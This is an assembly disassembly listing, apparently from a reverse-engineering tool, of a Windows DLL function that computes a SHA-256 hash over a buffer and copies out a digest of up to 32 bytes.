mov rax, qword [0x1801bfd40]
xor rax, rsp
mov qword [rbp + 0x17], rax
mov rbx, rdx
mov qword [rbp - 0x55], 0x5be0cd19
xor edx, edx
mov dword [rbp - 0x71], 0x6a09e667
mov qword [rbp - 0x79], rdx
mov r14, r9
mov dword [rbp - 0x6d], 0xbb67ae85
mov r15, r8
mov dword [rbp - 0x69], 0x3c6ef372
mov rsi, rcx
mov dword [rbp - 0x65], 0xa54ff53a
mov dword [rbp - 0x61], 0x510e527f
mov dword [rbp - 0x5d], 0x9b05688c
mov dword [rbp - 0x59], 0x1f83d9ab
test ebx, ebx
je 0x1800161e3
mov qword [rsp + 0xc8], rdi
nop dword [rax]
test edx, edx
jne 0x180016189
cmp ebx, 0x40
jb 0x180016189
mov rdx, rsi
lea rcx, [rbp - 0x79]
call fcn.180016230
add qword [rbp - 0x79], 0x200
add rsi, 0x40
mov edx, dword [rbp - 0x51]
add ebx, 0xffffffc0
jmp 0x1800161d7
mov eax, edx
mov ecx, 0x40
sub ecx, edx
mov edi, ebx
cmp ebx, ecx
mov rdx, rsi
cmovae edi, ecx
lea rcx, [rbp - 0x4d]
add rcx, rax
mov r8d, edi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rbp - 0x51]
add rsi, rdi
add edx, edi
sub ebx, edi
mov dword [rbp - 0x51], edx
cmp edx, 0x40
jne 0x1800161d7
lea rdx, [rbp - 0x4d]
lea rcx, [rbp - 0x79]
call fcn.180016230
add qword [rbp - 0x79], 0x200
xor edx, edx
mov dword [rbp - 0x51], edx
test ebx, ebx
jne 0x180016160
mov rdi, qword [rsp + 0xc8]
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x79]
call fcn.180016920
mov eax, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [rbp - 9]
cmp r14, rax
mov rcx, r15
cmova r14, rax
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.1800e21a0
add rsp, 0xd0
pop r15
pop r14
pop rsi
pop rbx
pop rbp
ret